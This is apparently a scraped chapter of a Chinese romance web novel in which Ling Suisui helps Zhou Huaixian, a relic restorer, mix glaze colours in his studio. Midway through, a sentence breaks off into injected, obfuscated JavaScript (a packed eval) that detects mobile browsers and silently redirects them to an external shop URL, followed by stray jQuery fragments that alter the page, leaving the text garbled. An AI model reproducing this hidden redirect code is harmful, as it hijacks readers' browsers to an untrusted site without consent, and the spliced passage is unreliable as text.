凌岁穗一连串的疑问,可能就连她自己都不怎么能一口气回答上来,更别说只是作为听者的周淮先。
可他听清了凌岁穗最后说着自己不知道所表达的东西是否正确,是否传达了。
她做到了。
至少在周淮先看来。
“但我感受到了,从那幅画里...你第一次来到小镇时的不安还有期待,这些感情很真切不是吗?”
凌岁穗看向他,满是疑问,或许...他说的是那幅画里的那两个小人?
她的眉头皱的更深,毕竟那只是她的一时兴起画上的。
而周淮先看着对方因烦恼而蹙起的眉头,指了指自己的眉眼,浅笑道:
“现在是展望和踌躇。”
听闻凌岁穗随即便舒展了眉头,轻轻用手抚平。
“其实我这个人挺嘴碎的,还老是喜欢说些丧气话。”
“可你说完就忘记了,也会继续努力地做下去。”
“嗯,好像是这样的!”
她刚才还萎靡不振的样子,现在又能笑出声来:
“江江也老说我没记性,别人都是吃一堑长一智,我是吃一堑吃一堑吃一堑,哭完就睡,睡完就吃,吃完就忘。”
“睡觉挺好的,吃饭也挺好的,只是..下次睡前别哭了,眼睛会肿。”
凌岁穗不好意思地挠了挠头,原来那天晚上周淮先看出来了啊。
不过她想了想也是,谁会大晚上在房间里带墨镜啊,也就是周淮先人好不揭穿她。
她嘀咕了句:“我忍不住嘛。”
“那..不用忍,冰箱里的冰块我有一直备着,随时都不会缺货的。”
“好!”
***
抵达工作室后,周淮先推开了那扇吱呀的红门。
跟着周淮先的步伐进门,在打开灯后,凌岁穗这次终于能肆无忌惮点儿了。
她自觉自己不用像第一次那么拘谨,也不用像第二次那么偷鸡摸狗。
因此凌岁穗的心境大变,坐在周淮先的椅子上感叹着:
“呼,终于可以感受一下坐在这里是什么感觉了。”
周淮先没着急进去,在门口处支好门后,找着多余的凳子,他闻声问:
“终于?”
“嗯哼,终于!”
凌岁穗半趴在桌前,握着砚台上的毛笔在空中虚画了几下,看周淮先离得远,有些邀功的意思,便扬声道:
“早就想坐了,不过你没在的时候,我可没坐啊,上次我都是趴着画完的。”
她似可惜般地叹着气,“没办法,谁让我是一个有素质有礼貌的美女呢?”
周淮先本欲笑出声的声音被他控制住,只依稀能听见他似从鼻腔里发出一声轻嗯。
凌岁穗这边听不太清楚,只自顾自点头:“是吧?我也觉得。”
“是,不过你不用在意这些,直接坐就好。”
“好啊,那我今天就好好感受一下,当手艺人是什么感觉。”
“可以。”周淮先此时已经搬来一个稍矮的凳子,坐下后与凌岁穗平齐。
“那今天你来做?我来指挥。”
“啊?”
凌岁穗被他这番话吓得毛笔都放下了,他认真的?
当即毫不犹豫地拒绝:“那怎么行。”
这又不是小情侣出门做手工约会,以为在玩泥巴吗?就算周淮先对她有信心,她对自己也没信心啊。
“别。”她一摆头便与身侧的周淮先平视上,眉眼视线的交错间,她更加慌了神。
“我不行,我刚才就随口一说,开玩笑的。”
这不多得的平视视角让她想要逃离,她向后移了移,“那个…我还是坐在一边看吧,唉?”
“没事。”周淮先及时拉住她快要滑落的身子,“小心。”
“哦哦,我没事。”凌岁穗及时借助他的力量坐了回来,握着他的小臂没松开,只认真说道:
“我就是真害怕给你搞坏,你看我平时我大手大脚的做事也不细心。”
她话音还未落的时候,周淮先就已轻摇着头脸上,露出不认同的浅浅笑意。
“就我这样的,你能相信我啊?”
“能。”
“这样都能?”
“嗯。”
“……”
凌岁穗不说话也没了动作,只听周淮先提起另一件事情:
“还记得上次你帮忙调的颜色吗?”
凌岁穗抓着周淮先小臂上的力度不自觉稍大了些,是有些激动的。
“记得!就是那个青色花纹的瓷瓶对吗?”
凌岁穗对它印象自然深,她以为周淮先就是因为自己帮忙调了颜色,那天才会选择帮助自己,以至于救了自己一命。
所以在她看来那算是她半个救命恩人。
周淮先感知到手臂上的温度,轻垂眼眸注视了一会儿,视线又回到凌岁穗的脸上道,言辞恳切:
“就是那个,还记得我和你说过的吗?那个我一直调不出来的颜色。所以你很厉害,真的是因为你,这件文物的修复我才能这么快地有进展。”
“你修好啦?”
“还没。”他顿了顿,话音落到后面的时候更加认真:
“现在还有一些细微的花纹没有补齐,所以我是真的需要你的帮助,我并未有要骗你的意思,你是真的很厉害。”
凌岁穗一听,他一连说了两个真的,可见不像是虚假地恭维自己。
抓着周淮先的手也渐渐垂落下来,低头思考着,一时有些动摇。
当有一个一八五大帅哥当着你的面,扑闪着澄清的眼睛,边带动颤动着睫毛,说着我需要你的时候,就差摇着尾巴求你的时候,你还能拒绝吗?
当然凌岁穗是拒绝不了,当然摇着尾巴也是凌岁穗想象出来的。
只是当下脑海中一直回荡着周淮先的那句我需要你..我真的需要你。
她再想象到周淮先以一种崇拜的眼神看向自己,说着你真的好厉害啊~这样的话…
那这样的话,她完全拒绝不了啊。
于是她转过脸败下阵来,在工作台前正襟危坐好。
自己实在是有些忍不住了,再这样僵持下去她真要流鼻血了。
这一刻,她承认她是个虚荣的女人,可是她也只是犯了每一个女人都会犯的错罢了。
更所谓术业有专攻,她在色彩上面可是一点儿也不虚。
故方才还一直说不行不行的某人缓缓举起手来:
“那……要是只是帮忙调颜色的话,我还是可以的。”
周淮先视线跟着追随,随之也坐正了身子。
就是身子是坐正了,可视线却一刻也未离开过凌岁穗的身上。
可惜凌岁穗脑袋上没长眼睛,根本注意不到。
耳侧传来轻缓的声音:“嗯,你在这方面更专业一些,所以我想我们是互相学习。”
凌岁穗这次可不敢当他老师,呵呵干笑了几声,“不敢当啊,我今天当你的学徒就行。”
“好。”
对于学徒这个词周淮先感到新鲜,紧接着笑着点了点头,询问道:
“那我们开始吧?你准备好了吗?”
“啊?哦…好,我当然准备好了!”
凌岁穗当然还没准备好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890398|141734||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,可她也不敢再说些有的没的,再耽误周淮先的工作就不好了。
随着周淮先背对着她拿出橱窗里的文物,她试探着问:
“那我就先帮忙你调颜色?然后帮你拍摄吧,这样还可以放到宣传片里。”
“好,不过你不用担心自己做不好,其实很多人都是从做学徒学起,看的多了自然就会了,你这么聪明一定一学就会。”
“哈?”凌岁穗先是一愣,后面也就不纠结了。
“行…吧?不过你还是别对我抱太大希望,除非这要是能和开三轮车一样简单,我倒是还能接受。”
周淮先刚把修复了大半的瓷瓶摆好位置,疑惑出声:“接受什么?”
“当然是学着接受你的肯定啊。”
对此,他轻笑道:“别人的肯定和夸赞是不需要你学着接受的,因为这就是一个事实。”
“窝…”凌岁穗被惊得都差点要爆出C语言,“窝、你、你好会夸人啊。”
怎么夸奖的话张口就来啊!
“我不会夸人。”
“不!你很会。”
周淮先笑笑,不可置否。
却又在默默的转身后,不知从哪里拿来一件黑色的围裙,“穿上吧,小心弄脏衣服。”
“好,谢谢。”凌岁穗穿上后明显感到有些大,疑惑问着在调灯光的周淮先:“那你呢?”
周淮先正将所要用到的工具放在桌边上,不动声色地偏向于凌岁穗坐的位置,以便她能够到,就算是图个新鲜拿着玩也好。
不在意道:“我没关系,你穿就好。”
他不知道凌岁穗会有一天成为他的“学徒”,因此还没来得及准备新的。
“我穿不穿都一样。”
“可是…”可是他穿的白衣服啊...凌岁穗迟疑了。
她经常会把自己的衣服沾上颜料,更何况周淮先今天还有白衬衫的加成。
当下就想要脱下换给他,可到最后还是拗不过周淮先。
这段时间相处下来,她是发现了,周淮先在这种事情上也会表现出不一样的决绝和说一不二。
“那要是弄脏了,作为报答,我..就帮你扔洗衣机,单独洗一桶怎么样?”
虽然并不需要这一步,他还是笑了笑答应下来,“好,我不知道未来我的衣服是否会沾上颜料,但是我们现在可以开始了。”
“哦好,开始开始。”
凌岁穗穿的短袖,但还是撸起根本就不存在的袖子,率先拿起自己最熟悉的调色盘。
干劲满满:“说吧,想要什么颜色?姐们儿我立刻就能给你变出来。”
看周淮先反应慢慢的,凌岁穗这里又变了个粗犷的声线道:“0721号机器人为你服务哦。”
正常情况下别人都是扮甜美可人的女机器人人,可凌岁穗不一样,偏偏要演出一种抠脚大汉的感觉。
“快说,俺什么都能满足你。”
周淮先轻笑,顺手给她递上准备好的颜料,明明语气平平,却又跟哄小孩似的。
“好的,我需要这个青色,请你帮我吧。”
“好的先生,正在启动程序,滴度滴度。”
凌岁穗模仿着机器人的动作,却没动几下便先将自己逗的噗得一声笑出声来。
都怪周淮先太配合了,她才装不下去的,抬起没拿东西的那只手拍了拍脸颊,轻声自语着,意在将自己唤醒:
“好傻,不玩了不玩了,振作起来啊!工作工作!”
说完后凌岁穗便正经起来开始调色,没听见身旁的周淮先,在后面很轻地回复了她方才的自语。
“不傻。”明明很聪明。